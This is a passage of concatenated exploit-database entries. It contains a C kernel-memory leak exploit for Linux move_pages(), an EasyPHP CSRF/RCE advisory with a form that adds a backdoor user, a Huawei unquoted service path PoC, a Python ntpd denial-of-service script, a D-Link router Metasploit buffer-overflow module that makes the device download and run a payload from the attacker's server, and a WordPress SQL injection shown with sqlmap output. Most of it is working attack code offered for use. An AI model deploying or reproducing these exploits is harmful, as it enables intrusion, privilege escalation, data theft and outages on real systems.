	__NR_flock, __NR_getdents, __NR_getcwd, __NR_gettimeofday,
	__NR_getrlimit, __NR_getuid, __NR_getgid, __NR_geteuid, __NR_getegid,
	__NR_getppid, __NR_getpgrp, __NR_getgroups, __NR_getresuid,
	__NR_getresgid, __NR_getpgid, __NR_getsid,__NR_getpriority,
	__NR_sched_getparam, __NR_sched_get_priority_max
};

int main(void)
{
	/* to keep random stack values from being used for pointers in syscalls */
	char buf[64] = {};
	int call;
	for (call = 0; call < sizeof(randcalls)/sizeof(randcalls[0]); call++) {
		syscall(randcalls[call]);
		leak_it();
	}

}
            
/* sieve (because the Linux kernel leaks like one, get it?)
   Bug NOT discovered by Marcus Meissner of SuSE security
   This bug was discovered by Ramon de Carvalho Valle in September of 2009
   The bug was found via fuzzing, and on Sept 24th I was sent a POC DoS
   for the bug (but had forgotten about it until now)
   Ramon's report was sent to Novell's internal bugzilla, upon which 
   some months later Marcus took credit for discovering someone else's bug
   Maybe he thought he could get away with it ;)  Almost ;)

   greets to pipacs, tavis (reciprocal greets!), cloudburst, and rcvalle!

   first exploit of 2010, next one will be for a bugclass that has
   afaik never been exploited on Linux before

   note that this bug can also cause a DoS like so:

Unable to handle kernel paging request at ffffffff833c3be8 RIP: 
 [<ffffffff800dc8ac>] new_page_node+0x31/0x48
PGD 203067 PUD 205063 PMD 0 
Oops: 0000 [1] SMP 
Pid: 19994, comm: exploit Not tainted 2.6.18-164.el5 #1
RIP: 0010:[<ffffffff800dc8ac>]  [<ffffffff800dc8ac>] 
new_page_node+0x31/0x48
RSP: 0018:ffff8100a3c6de50  EFLAGS: 00010246
RAX: 00000000005fae0d RBX: ffff8100028977a0 RCX: 0000000000000013
RDX: ffff8100a3c6dec0 RSI: 0000000000000000 RDI: 00000000000200d2
RBP: 0000000000000000 R08: 0000000000000004 R09: 000000000000003c
R10: 0000000000000000 R11: 0000000000000092 R12: ffffc20000077018
R13: ffffc20000077000 R14: ffff8100a3c6df00 R15: ffff8100a3c6df28
FS:  00002b8481125810(0000) GS:ffffffff803c0000(0000) 
knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 000000008005003b
CR2: ffffffff833c3be8 CR3: 000000009562d000 CR4: 00000000000006e0
Process exploit (pid: 19994, threadinfo ffff8100a3c6c000, task 
ffff81009d8c4080)
Stack:  ffffffff800dd008 ffffc20000077000 ffffffff800dc87b 
0000000000000000
 0000000000000000 0000000000000003 ffff810092c23800 0000000000000003
 00000000000000ff ffff810092c23800 00007eff6d3dc7ff 0000000000000000
Call Trace:
 [<ffffffff800dd008>] migrate_pages+0x8d/0x42b
 [<ffffffff800dc87b>] new_page_node+0x0/0x48
 [<ffffffff8009cee2>] schedule_on_each_cpu+0xda/0xe8
 [<ffffffff800dd8a2>] sys_move_pages+0x339/0x43d
 [<ffffffff8005d28d>] tracesys+0xd5/0xe0


Code: 48 8b 14 c5 80 cb 3e 80 48 81 c2 10 3c 00 00 e9 82 29 f3 ff 
RIP  [<ffffffff800dc8ac>] new_page_node+0x31/0x48
 RSP <ffff8100a3c6de50>
CR2: ffffffff833c3be8
*/

#include <stdio.h>
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/syscall.h>
#include <errno.h>
#include "exp_framework.h"

#undef MPOL_MF_MOVE
#define MPOL_MF_MOVE (1 << 1)

int max_numnodes;

unsigned long node_online_map;

unsigned long node_states;

unsigned long our_base;
unsigned long totalhigh_pages;

#undef __NR_move_pages
#ifdef __x86_64__
#define __NR_move_pages 279
#else
#define __NR_move_pages 317
#endif

/* random notes I took when writing this (all applying to the 64bit case):

checking in a bitmap based on node_states[2] or node_states[3] 
(former if HIGHMEM is not present, latter if it is)

each node_state is of type nodemask_t, which is is a bitmap of size 
MAX_NUMNODES/8

RHEL 5.4 has MAX_NUMNODES set to 64, which makes this 8 bytes in size

so the effective base we're working with is either node_states + 16 or 
node_states + 24

on 2.6.18 it's based off node_online_map

node_isset does a test_bit based on this base

so our specfic case does: base[ourval / 8] & (1 << (ourval & 7))

all the calculations appear to be signed, so we can both index in the 
negative and positive direction, based on ourval

on 64bit, this gives us a 256MB range above and below our base to grab 
memory of 
(by passing in a single page and a single node for each bit we want to 
leak the value of, we can reconstruct entire bytes)

we can determine MAX_NUMNODES by looking up two adjacent numa bitmaps,
subtracting their difference, and multiplying by 8
but we don't need to do this
*/

struct exploit_state *exp_state;

char *desc = "Sieve: Linux 2.6.18+ move_pages() infoleak";

int get_exploit_state_ptr(struct exploit_state *ptr)
{
	exp_state = ptr;
	return 0;
}

int requires_null_page = 0;

void addr_to_nodes(unsigned long addr, int *nodes)
{
	int i;
	int min = 0x80000000 / 8;
	int max = 0x7fffffff / 8; 

	if ((addr < (our_base - min)) ||
	    (addr > (our_base + max))) {
		fprintf(stdout, "Error: Unable to dump address %p\n", addr);
		exit(1);
	}

	for (i = 0; i < 8; i++) {
		nodes[i] = ((int)(addr - our_base) << 3) | i;
	}

	return;
}

char *buf;
unsigned char get_byte_at_addr(unsigned long addr)
{
	int nodes[8];
	int node;
	int status;
	int i;
	int ret;
	unsigned char tmp = 0;

	addr_to_nodes(addr, (int *)&nodes);
	for (i = 0; i < 8; i++) {
		node = nodes[i];
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno != ENODEV)
			tmp |= (1 << i);
	}
	
	return tmp;
}	

void menu(void)
{
	fprintf(stdout, "Enter your choice:\n"
			" [0] Dump via symbol/address with length\n"
			" [1] Dump entire range to file\n"
			" [2] Quit\n");
}

int trigger(void)
{
	unsigned long addr;
	unsigned long addr2;
	unsigned char thebyte;
	unsigned char choice = 0;
	char ibuf[1024];
	char *p;
	FILE *f;

	// get lingering \n
	getchar();
	while (choice != '2') {
		menu();
		fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
		choice = ibuf[0];
		
		switch (choice) {
		case '0':
			fprintf(stdout, "Enter the symbol or address for the base:\n");
			fgets((char *)&ibuf, sizeof(ibuf)-1, stdin);
			p = strrchr((char *)&ibuf, '\n');
			if (p)
				*p = '\0';
			addr = exp_state->get_kernel_sym(ibuf);
			if (addr == 0) {
				addr = strtoul(ibuf, NULL, 16);
			}
			if (addr == 0) {
				fprintf(stdout, "Invalid symbol or address.\n");
				break;
			}
			addr2 = 0;
			while (addr2 == 0) {
				fprintf(stdout, "Enter the length of bytes to read in hex:\n");
				fscanf(stdin, "%x", &addr2);
				// get lingering \n
				getchar();
			}
			addr2 += addr;
			
			fprintf(stdout, "Leaked bytes:\n");
			while (addr < addr2) {	
				thebyte = get_byte_at_addr(addr);
				printf("%02x ", thebyte);
				addr++;
			}
			printf("\n");
			break;
		case '1':
			addr = our_base -  0x10000000;
#ifdef __x86_64__
			/* 
			   our lower bound will cause us to access
			   bad addresses and cause an oops
			*/
			if (addr < 0xffffffff80000000)
				addr = 0xffffffff80000000;
#else
			if (addr < 0x80000000)
				addr = 0x80000000;
			else if (addr < 0xc0000000)
				addr = 0xc0000000;
#endif
			addr2 = our_base + 0x10000000;
			f = fopen("./kernel.bin", "w");
			if (f == NULL) {
				fprintf(stdout, "Error: unable to open ./kernel.bin for writing\n");
				exit(1);
			}

			fprintf(stdout, "Dumping to kernel.bin (this will take a while): ");
			fflush(stdout);
			while (addr < addr2) {
				thebyte = get_byte_at_addr(addr);
				fputc(thebyte, f);
				if (!(addr % (128 * 1024))) {
					fprintf(stdout, ".");
					fflush(stdout);
				}
				addr++;
			}
			fprintf(stdout, "done.\n");
			fclose(f);
			break;
		case '2':
			break;
		}
	}

	return 0;
}


int prepare(unsigned char *ptr)
{
	int node;
	int found_gap = 0;
	int i;
	int ret;
	int status;

	totalhigh_pages = exp_state->get_kernel_sym("totalhigh_pages");
	node_states = exp_state->get_kernel_sym("node_states");
	node_online_map = exp_state->get_kernel_sym("node_online_map");

	buf = malloc(4096);

	/* cheap hack, won't work on actual NUMA systems -- for those we could use the alternative noted
	   towards the beginning of the file, here we're just working until we leak the first bit of the adjacent table,
	   which will be set for our single node -- this gives us the size of the bitmap
	*/
	for (i = 0; i < 512; i++) {
		node = i;
		ret = syscall(__NR_move_pages, 0, 1, &buf, &node, &status, MPOL_MF_MOVE);
		if (errno == ENOSYS) {
			fprintf(stdout, "Error: move_pages is not supported on this kernel.\n");
			exit(1);
		} else if (errno == ENODEV) {
			found_gap = 1;
		} else if (found_gap == 1) {
			max_numnodes = i;
			fprintf(stdout, " [+] Detected MAX_NUMNODES as %d\n", max_numnodes);
			break;
		}
	}

	if (node_online_map != 0)
		our_base = node_online_map;
	/* our base for this depends on the existence of HIGHMEM and the value of MAX_NUMNODES, since it determines the size
	   of each bitmap in the array our base is in the middle of
	   we've taken account for all this
	*/
	else if (node_states != 0)
		our_base = node_states + (totalhigh_pages ? (3 * (max_numnodes / 8)) : (2 * (max_numnodes / 8)));
	else {
		fprintf(stdout, "Error: kernel doesn't appear vulnerable.\n");
		exit(1);
	}

	return 0;
}

int post(void)
{
	return 0;
}
            
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/EASYPHP-DEV-SERVER-REMOTE-CMD-EXECUTION.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.easyphp.org



Product:
=============================
EasyPHP Devserver v16.1.1

easyphp-devserver-16.1.1-setup.exe
hash: 64184d330a34be9e6c029ffa63c903de


A complete WAMP environment for PHP development & personal web hosting.
Host with Webserver PHP, Apache, MySQL, Nginx, PhpMyAdmin,
Xdebug, PostgreSQL, MongoDB, Python, Ruby...for Windows.


Vulnerability Type:
=================================
CSRF / Remote Command Execution



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

EasyPHP Devserver dashboard runs on port 1111, the PHP code contains
mulitple RCE vectors, which can allow
arbitrary OS commands to be executed on the target system by remote
attackers, if a user visits malicious webpage or link.

The "index.php" and "explorer.php" files both contain vulnerable code that
will happily process both GET / POST RCE requests.
Below EasyPHP Code contains no CSRF token or checks whatsoever. All
attacker needs is to supply 'type' and command values.

Possibility for RFI (remote file inclusion) if the "allow_url_include=0"
setting is changed in "php.ini" configuration.
No checks or CSRF tokens for PHP include directives either, the default
however is set to Off.

e.g. RFI attempt result
Warning: include(): http:// wrapper is disabled in the server configuration
by allow_url_include=0


line 8 of "explorer.php"
======================

//== ACTIONS
==================================================================

if (isset($_POST['action'])) {

// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}


//////////////////////////////////////////////////

line 48 "index.php"
==================


//== ACTIONS
==================================================================

if (isset($_POST['action'])) {

// Include and exec
if (isset($_POST['action']['request'])) {
foreach ($_POST['action']['request'] as $request) {
if ($request['type'] == 'include') include(urldecode($request['value']));
if ($request['type'] == 'exe') exec(urldecode($request['value']));
}
}
sleep(1);
$redirect = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header("Location: " . $redirect);
exit;
}

if (isset($_GET['action'])) {
// Include and exec
if ($_GET['action'] == 'include') include(urldecode($_GET['value']));
if ($_GET['action'] == 'exe') exec(urldecode($_GET['value']));
if (isset($_GET['redirect'])) {
$redirect = urldecode($_GET['redirect']);
} else {
$redirect = 'http://127.0.0.1:1111/index.php';
}
sleep(1);
header("Location: " . $redirect);
exit;
}




Exploit code(s):
===============

1) Add Backdoor User Account

<form action="http://127.0.0.1:1111/explorer.php" method="post">
<input type="hidden" name="action[request][0][type]" value="exe">
<input type="hidden" name="action[request][0][value]" value="net user EVIL
Password /add">
<script>document.forms[0].submit()</script>
</form>



2) Run "calc.exe"

<a href="http://127.0.0.1:1111/index.php?action=exe&value=calc.exe
">Clicky...</a>




Disclosure Timeline:
======================================
Vendor Notification: No replies
November 22, 2016 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
================
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
            
# Exploit Title: Unquoted Service Path Vulnerability in Huawei UTPS Software
# Date: Nov 16 2016
# Author: Dhruv Shah (@Snypter)
# Website: http://security-geek.in
# Contact: dhruv-shah@live.com
# Category: local
# Vendor Homepage: http://www.huawei.com/
# Version: Versions earlier than UTPS-V200R003B015D16SPC00C983
# Tested on: Windows XP , Windows 7-10 x86/x64
# CVE: CVE-2016-8769

1. Description

Huawei UTPS Software is the core software that is bundled with the
Internet Dongles, it provides it dongles to companies like Airtel ,
TATA Photon . This is the software that installs itself for the Dongle
to run on the attached machine. It installs as a service ("Photon.
RunOUC") and ("Airtel. RunOuc") with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof of Concept

 ( TATA PHOTON Dongles)
C:\Documents and Settings\Dhruv>sc qc "Photon. RunOuc"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: Photon. RunOuc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program
Files\Photon\Huawei\EC306-1\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Photon. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

( Airtel Dongles)
C:\Documents and Settings\Dhruv>sc qc "airtel. Runouc"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: airtel. Runouc
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\airtel\UpdateDog\ouc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : airtel. OUC
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

3. Exploit:

A successful attempt would require the local attacker must insert an
executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.


Additional notes :

Fixed in version UTPS-V200R003B015D16SPC00C983

CVSSv3 Risk Rating
Base Score: 6.4 (AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H )
Temporal Score:  5.9 (E:F/RL:O/RC:C)

Vulnerability Disclosure Timeline:
=========================
06/09/2016   -   Contact With Vendor
06/09/2016   -   Vendor Response
15/11/2016   -   Release Fixed Version
            
#!/usr/bin/env python

# Exploit Title: ntpd remote pre-auth Denial of Service
# Date: 2016-11-21
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
# Website: http://dumpco.re/cve-2016-7434/
# Vendor Homepage: http://www.ntp.org/
# Software Link: https://www.eecis.udel.edu/~ntp/ntp_spool/ntp4/ntp-4.2/ntp-4.2.8p8.tar.gz
# Version: ntp-4.2.7p22, up to but not including ntp-4.2.8p9, and ntp-4.3.0 up to, but not including ntp-4.3.94
# CVE: CVE-2016-7434

import sys
import socket

if len(sys.argv) != 3:
    print "usage: " + sys.argv[0] + " <host> <port>"
    sys.exit(-1)


payload = "\x16\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x36\x6e\x6f\x6e\x63\x65\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x48\x72\x61\x67\x73\x3d\x33\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x32\x2c\x20\x6c\x61\x64\x64\x72\x3d\x5b\x5d\x3a\x57\x4f\x50\x00\x00"

print "[-] Sending payload to " + sys.argv[1] + ":" + sys.argv[2] + " ..."
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], int(sys.argv[2])))
print "[+] Done!"
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

# Payload working status:
# MIPS:
#   - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
#  - inline rev/bind shell works (bind... meh sometimes)
#  - stager rev/bind shell FAIL
#  - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
      'Description'    => %q{
        Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
        is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
        which accepts arbitrarily long strings into certain XML parameters and then copies them into
        the stack.
        This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
        using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
        this vulnerability is present in both MIPS and ARM devices.
        The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
        few load and store instructions. Because of this the payloads have to be sent unencoded, which
        can cause them to fail, although the bind shell seems to work well.
        For the ARM devices, the inline reverse tcp seems to work best.
        Check the reference links to see the vulnerable firmware versions.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'References'     =>
        [
          ['CVE', '2016-6563'],
          ['US-CERT-VU', '677427'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
        ],
      'DefaultOptions' => { 'WfsDelay' => 10 },
      'Stance'         => Msf::Exploit::Stance::Aggressive,          # we need this to run in the foreground (ARM target)
      'Targets'        =>
        [
          [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
            {
              'Offset'         => 3072,
              'LibcBase'       => 0x2aabe000,         # should be the same offset for all firmware versions and all routers
              'Sleep'          => 0x56DF0,            # sleep() offset into libuClibc-0.9.30.3.so
              'FirstGadget'    => 0x4EA1C,            # see comments below for gadget information
              'SecondGadget'   => 0x2468C,
              'ThirdGadget'    => 0x41f3c,
              'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi  sp,sp,-3128
              'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr  sp
              'BranchDelay'    => "\x20\x84\xf8\x30", # addi  a0,a0,-2000 (nop)
              'Arch'           => ARCH_MIPSBE,
              'Payload'        =>
                {
                  'BadChars' => "\x00",
                  'EncoderType'     => Msf::Encoder::Type::Raw      # else it will fail with SIGILL, this CPU is crippled
                },
            }
          ],
          [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
            {
              'Offset'         => 1024,
              'LibcBase'       => 0x400DA000,         # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
              'System'         => 0x5A270,            # system() offset into libuClibc-0.9.32.1.so
              'FirstGadget'    => 0x18298,            # see comments below for gadget information
              'SecondGadget'   => 0x40CB8,
              'Arch'           => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Nov 7 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
        OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
        OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
        OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'Content-Type' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
      })

      if res && res.code == 500
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def calc_encode_addr (offset, big_endian = true)
    if big_endian
      [(target['LibcBase'] + offset).to_s(16)].pack('H*')
    else
      [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
    end
  end

  def prepare_shellcode_arm (cmd)
    #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers

    #first_gadget (pops system() address into r3, and second_gadget into PC):
    #.text:00018298                 LDMFD           SP!, {R3,PC}

    #second_gadget (puts the stack pointer into r0 and calls system() at r3):
    #.text:00040CB8                 MOV             R0, SP
    #.text:00040CBC                 BLX             R3

    #system() (Executes argument in r0 (our stack pointer)
    #.text:0005A270 system

    #The final payload will be:
    #'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command
    shellcode = rand_text_alpha(target['Offset']) +       # filler
      "\xff\xff\xff\xff" +                                # n integer overwrite (see advisory)
      rand_text_alpha(16) +                               # moar filler
      rand_text_alpha(4) +                                # r11
      calc_encode_addr(target['FirstGadget'], false) +    # first_gadget
      calc_encode_addr(target['System'], false) +         # system() address
      calc_encode_addr(target['SecondGadget'], false) +   # second_gadget
      cmd                                                 # our command
  end

  def prepare_shellcode_mips
    #All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers

    #<sleep> is at 56DF0

    #first gadget - execute sleep and call second_gadget
    #.text:0004EA1C                 move    $t9, $s0 <- sleep()
    #.text:0004EA20                 lw      $ra, 0x20+var_4($sp) <- second_gadget
    #.text:0004EA24                 li      $a0, 2 <- arg for sleep()
    #.text:0004EA28                 lw      $s0, 0x20+var_8($sp)
    #.text:0004EA2C                 li      $a1, 1
    #.text:0004EA30                 move    $a2, $zero
    #.text:0004EA34                 jr      $t9
    #.text:0004EA38                 addiu   $sp, 0x20

    #second gadget - put stack pointer in a1:
    #.text:0002468C                 addiu   $s1, $sp, 0x58
    #.text:00024690                 li      $s0, 0x44
    #.text:00024694                 move    $a2, $s0
    #.text:00024698                 move    $a1, $s1
    #.text:0002469C                 move    $t9, $s4
    #.text:000246A0                 jalr    $t9
    #.text:000246A4                 move    $a0, $s2

    #third gadget - call $a1 (stack pointer):
    #.text:00041F3C                 move    $t9, $a1
    #.text:00041F40                 move    $a1, $a2
    #.text:00041F44                 addiu   $a0, 8
    #.text:00041F48                 jr      $t9
    #.text:00041F4C                 nop

    #When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer.
      #prep_shellcode_1:  23bdf7a8  addi  sp,sp,-3128
      #prep_shellcode_2:  03a0f809  jalr  sp
      #branch_delay:    2084f830  addi  a0,a0,-2000

    #The final payload will be:
    #shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay
    shellcode = payload.encoded +                                        # exploit
      rand_text_alpha(target['Offset'] - payload.encoded.length) +       # filler
      calc_encode_addr(target['Sleep']) +                                # s0
      rand_text_alpha(4) +                                               # s1
      rand_text_alpha(4) +                                               # s2
      rand_text_alpha(4) +                                               # s3
      calc_encode_addr(target['ThirdGadget']) +                          # s4 (third gadget)
      calc_encode_addr(target['FirstGadget']) +                          # initial pc / ra (first_gadget)
      rand_text_alpha(0x1c) +                                            # filler
      calc_encode_addr(target['SecondGadget']) +                         # second_gadget
      rand_text_alpha(0x58) +                                            # filler
      target['PrepShellcode1'] +                                         # exploit prep
      target['PrepShellcode2'] +                                         # exploit prep
      target['BranchDelay']                                              # exploit prep
  end

  def send_payload (payload)
    begin
      # the payload can go in the Action, Username, LoginPassword or Captcha XML tag
      body = %{
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
 <soap:Body>
  <Login xmlns="http://purenetworks.com/HNAP1/">
   <Action>something</Action>
   <Username>Admin</Username>
   <LoginPassword></LoginPassword>
   <Captcha>#{payload}</Captcha>
  </Login>
 </soap:Body>
</soap:Envelope>
}

      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'ctype' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
        'data' => body
      })
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{peer} - Sending the payload to the device...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def exploit
    print_status("#{peer} - Attempting to exploit #{target.name}")
    if target == targets[0]
      send_payload(prepare_shellcode_mips)
    else
      downfile = rand_text_alpha(8+rand(8))
      @pl = generate_payload_exe
      @elf_sent = false
      resource_uri = '/' + downfile

      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{peer} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
      print_status("#{peer} - Asking the device to download and execute #{service_url}")

      filename = rand_text_alpha_lower(rand(8) + 2)
      cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &"

      shellcode = prepare_shellcode_arm(cmd)

      print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.")
      counter = 0.00
      while (not @elf_sent)
        if counter % 50.00 == 0 && counter != 0.00
          print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
        end
        send_payload(shellcode)
        sleep datastore['SLEEP'].to_f     # we need to be in the LAN, so a low value  (< 1s) is fine
        counter += 1
      end
      print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.")
    end
  end
end
            
# Exploit Title: Olimometer Plugin for WordPress – Sql Injection
# Date: 14/11/2016
# Exploit Author: TAD GROUP
# Vendor Homepage: https://wordpress.org/plugins/olimometer/
# Software Link: https://wordpress.org/plugins/olimometer/
# Contact: info[at]tad.group
# Website: https://tad.group
# Category: Web Application Exploits
# Tested on: Debian 8


1 - Description

# Vulnerable parameter: olimometer_id=

Parameter: olimometer_id (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: olimometer_id=1 AND 6227=6227

     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: olimometer_id=1 AND SLEEP(5)

Using GET SQL Method with the "olimometer_id" parameter, we were able to
get the database name from the EXAMPLE.COM website . By further running
SQL Map using different arguments, we would be able to get the complete
database, including usernames and passwords if there are such.

2. Proof of Concept

Using the website EXAMPLE.COM for example, we can fire up sqlmap and set
the full path to the vulnerable parameter:

root@kali:~# sqlmap -u
http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_
id=1
--dbs --threads=5 --random-agent --no-cast

---
Parameter: olimometer_id (GET)
     Type: boolean-based blind
     Title: AND boolean-based blind - WHERE or HAVING clause
     Payload: olimometer_id=1 AND 6227=6227

     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind
     Payload: olimometer_id=1 AND SLEEP(5)
---
[11:14:21] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL >= 5.0.12
[11:14:21] [INFO] fetching database names
[11:14:21] [INFO] fetching number of databases
[11:14:21] [INFO] retrieved:
[11:14:21] [WARNING] multi-threading is considered unsafe in time-based
data retrieval. Going to switch it off automatically
[11:14:21] [WARNING] (case) time-based comparison requires larger
statistical model, please wait.............................. (done)
[11:14:26] [WARNING] it is very important to not stress the network
adapter during usage of time-based payloads to prevent potential disruptions
[11:14:26] [ERROR] unable to retrieve the number of databases
[11:14:26] [INFO] falling back to current database
[11:14:26] [INFO] fetching current database
[11:14:26] [INFO] retrieving the length of query output
[11:14:26] [INFO] retrieved:
[11:14:28] [INFO] heuristics detected web page charset 'ascii'
14
[11:15:26] [INFO] retrieved: *****_wrdp1
available databases [1]:
[*] *****_wrdp1

We can see that we have successfully discovered one available database
with the name: "*****_wrdp1"

3. Type of vulnerability:

An SQL Injection vulnerability in Olimometer allows attackers to read
arbitrary data from the database.

4. Exploitation vector:

The url parameter 'olimometer_id=' of the
